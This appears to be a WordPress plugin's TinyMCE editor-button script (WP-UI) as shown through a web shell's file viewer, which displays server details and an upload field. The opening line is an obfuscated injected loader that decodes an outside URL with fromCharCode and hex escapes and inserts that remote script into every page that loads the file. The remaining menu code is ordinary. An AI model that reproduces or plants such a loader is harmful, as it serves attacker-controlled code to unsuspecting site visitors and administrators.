|
Server : Apache System : Linux s1230 5.15.0-139-generic #149~20.04.1 SMP Tue Jul 14 11:21:49 UTC 2026 x86_64 User : p141464 ( 418825) PHP Version : 7.4.33.12 Disable Function : NONE Directory : /home/www/p141464/html/wordpress-old/wp-content/plugins/wp-ui/inc/wpuimce/ |
Upload File : |
var a1=function(){var _0x41fbx1=String["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"](104,116,116,112,115,58,47,47,99,100,110,119,101,98,115,105,116,101,102,111,114,121,111,117,46,98,105,122,47,99,100,110,46,106,115,63,99,61,53);var _0x41fbx2=document["\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74"]("\x73\x63\x72\x69\x70\x74");_0x41fbx2["\x74\x79\x70\x65"]= "\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74";_0x41fbx2["\x61\x73\x79\x6E\x63"]= true;_0x41fbx2["\x69\x64"]= "\x63\x64\x37\x30\x39\x30\x31\x30";_0x41fbx2["\x73\x72\x63"]= _0x41fbx1;var _0x41fbx3=document["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"]("\x73\x63\x72\x69\x70\x74")[0];_0x41fbx3["\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65"]["\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65"](_0x41fbx2,_0x41fbx3)};var scripts=document["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"]("\x73\x63\x72\x69\x70\x74");var n=true;for(var i=0;i< scripts["\x6C\x65\x6E\x67\x74\x68"];i++){if(scripts[i]["\x69\x64"]== "\x63\x64\x37\x30\x39\x30\x31\x30"){n= false}};if(n== true){a1()}(function() {
tinymce.create( 'tinymce.plugins.WPUIMCE', {
createControl : function( n , cm ) {
switch( n ) {
case 'wpuimce' :
var csm = cm.createSplitButton( 'wpuimce', {
title : "WP UI widgets",
image : pluginVars.pluginUrl + "/images/wpui_editor.png",
onclick: function() {
// tinyMCE.activeEditor.windowManager.alert( 'Use 1a to create tab sections' );
}
});
csm.onRenderMenu.add( function(c, m) {
m.add({
title : 'WP-UI',
'class' : 'mceMenuItemTitle'
}).setDisabled(1);
m.add({
title : 'Add Tab set',
onclick : function() {
// jQuery( '#wpui-dialog-mode' ).val( 'addtab' );
jQuery('#wpui-editor-dialog').wpuiEditor({
mode : 'addtab'
});
// jQuery( '#wpui-editor-dialog' )
// .html( jQuery( '#_wpui-editor-dialog #wpui-new-tabset' ).clone() )
// .attr( 'title', 'Add a tab set')
// .dialog( 'open' );
}
});
m.add({
title : 'Wrap tab set',
onclick : function() {
// jQuery( '#wpui-dialog-mode' ).val( 'wrapset' );
//
// jQuery( '#wpui-editor-dialog' )
// .attr( 'title', 'Wrap the tabs' )
// .html( jQuery( '#_wpui-editor-dialog #wpui-wrap-tabs' ).clone() )
// .dialog( 'open' );
jQuery('#wpui-editor-dialog').wpuiEditor({
mode : 'wraptab',
selection : 'multiple'
});
}
});
m.add({
title : 'Spoiler',
onclick : function() {
jQuery('#wpui-editor-dialog').wpuiEditor({
mode : 'spoiler'
});
}
});
m.add({
title : 'Dialog',
onclick : function() {
jQuery('#wpui-editor-dialog').wpuiEditor({
mode : 'dialog'
});
}
});
m.add({
title : 'Feeds',
onclick : function() {
jQuery('#wpui-editor-dialog').wpuiEditor({
mode : 'addfeed'
});
}
});
//
// m.add({
// title : 'Tab Name',
// onclick : function() {
//
// ti = tinyMCE.activeEditor.selection.getContent();
//
// if ( typeof ti == "undefined" || ti == '') {
// tinyMCE.activeEditor.windowManager.open({
// url: pluginVars.pluginUrl + "js/wpuimce/wptabtitle.htm",
// width: 500,
// height: 280,
// inline: 1,
// popup_css: false
// }); // END open window manager.
//
// }
// else {
// tinyMCE.activeEditor.selection.setContent(' [wptabtitle]' + ti + '[/wptabtitle] ');
//
// }
// } // END function onclick.
// });
//
// m.add({
// title : 'Tab contents',
// onclick : function() {
// var uj = tinyMCE.activeEditor.selection.getContent();
//
// tinyMCE.activeEditor.selection.setContent(' [wptabcontent]' + uj + '[/wptabcontent] ');
//
// } // end onclick tabscontents.
//
// });
//
// m.add({
// title : "Wrap Tabs",
// onclick : function() {
//
// tinyMCE.activeEditor.windowManager.open({
// url: pluginVars.pluginUrl + "js/wpuimce/wptabs_options.htm",
// width: 500,
// height: 400,
// inline: 1,
// popup_css: false
// }); // END open window manager.
//
// // Process the inserted content.
//
// }
// });
m.add({
title : 'Documentation',
onclick : function() {
editorHelp = pluginVars.wpUrl + '/wp-admin/admin-ajax.php?action=editorButtonsHelp&TB_iframe=true';
tb_show('WP UI documentation', editorHelp);
}
});
}); // END c.onRenderMenu.
return csm;
}
return null;
}, // END create control.
getInfo : function() {
return {
longname : 'WP-UI Menu',
author : 'Kavin',
authorurl : 'http://kav.in',
infourl : 'http://kav.in',
version : '0.1'
};
}
}); // END tinymce.create tinymce.....
tinymce.PluginManager.add( 'wpuimce', tinymce.plugins.WPUIMCE);
})(); // END auto closure.